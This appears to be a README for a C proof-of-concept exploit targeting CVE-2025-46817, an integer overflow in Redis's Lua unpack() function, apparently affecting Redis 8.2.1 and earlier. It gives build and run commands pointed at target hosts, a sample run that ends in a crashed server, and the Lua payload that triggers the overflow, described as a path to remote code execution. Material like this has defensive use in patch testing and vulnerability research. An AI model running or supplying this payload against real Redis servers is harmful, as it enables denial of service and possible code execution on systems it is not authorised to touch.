slayerkkkk/cve-2025-46817-pocC-based exploit for CVE-2025-46817, a Redis integer overflow vulnerability, enabling crash detection and potential RCE via Lua unpack() payload.
A lightweight C implementation of the CVE-2025-46817 exploit for Redis integer overflow vulnerability.
sudo apt-get update
sudo apt-get install build-essential libhiredis-dev
sudo yum install gcc hiredis-devel
brew install hiredis
gcc -o exploit exploit.c -lhiredis
./exploit -H 127.0.0.1 -P 6379
./exploit -H 192.168.1.100 -P 6379 -t 5
-H <host> Redis server host (required)
-P <port> Redis server port (required)
-t <timeout> Connection timeout in seconds (default: 10)
-h Show help message
██▓███ █ █░███▄ █ ▄▄▄▄ █ ██ █████▒ █████▒▓█████ ██▀███
▓██░ ██▒▓█░ █ ░█░██ ▀█ █ ▓█████▄ ██ ▓██▒▓██ ▒▓██ ▒ ▓█ ▀ ▓██ ▒ ██▒
▓██░ ██▓▒▒█░ █ ░█▓██ ▀█ ██▒▒██▒ ▄██▓██ ▒██░▒████ ░▒████ ░ ▒███ ▓██ ░▄█ ▒
▒██▄█▓▒ ▒░█░ █ ░█▓██▒ ▐▌██▒▒██░█▀ ▓▓█ ░██░░▓█▒ ░░▓█▒ ░ ▒▓█ ▄ ▒██▀▀█▄
▒██▒ ░ ░░░██▒██▓▒██░ ▓██░░▓█ ▀█▓▒▒█████▓ ░▒█░ ░▒█░ ░▒████▒░██▓ ▒██▒
▒▓▒░ ░ ░░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░▒▓███▀▒░▒▓▒ ▒ ▒ ▒ ░ ▒ ░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░▒ ░ ▒ ░ ░ ░ ░░ ░ ▒░▒░▒ ░ ░░▒░ ░ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░░ ░ ░ ░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░
░
CVE-2025-46817 Exploit Tool
Integer Overflow -> RCE Chain
Access -> https://pwnbuffer.org/
Author: Slayerkkk
Target: Redis <= 8.2.1
Type: Memory Corruption -> Code Execution
ℹ️ Testing connection to 127.0.0.1:6379...
✅ Connection successful
ℹ️ Redis version: 8.2.1
❌ VULNERABLE - Version <= 8.2.1
ℹ️ Testing Lua scripting...
✅ Lua enabled (1+1=2)
🚀 STARTING EXPLOITATION
==================================================
💀 Executing exploit payload...
Payload: Integer overflow via unpack()
💥 SERVER CRASHED - Connection lost!
📊 EXPLOITATION RESULT
==============================
💥 Status: crashed (2.34s)
💀 EXPLOITATION SUCCESSFUL - Server crashed!
CVE-2025-46817 vulnerability confirmed
The exploit targets an integer overflow in Redis's Lua unpack() function implementation (luaB_unpack). When called with specific parameters, the signed integer arithmetic overflows, causing Redis to attempt materializing an enormous number of return values.
local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}
The tool reports one of these statuses:
Author: Slayerkkk
Website: https://pwnbuffer.org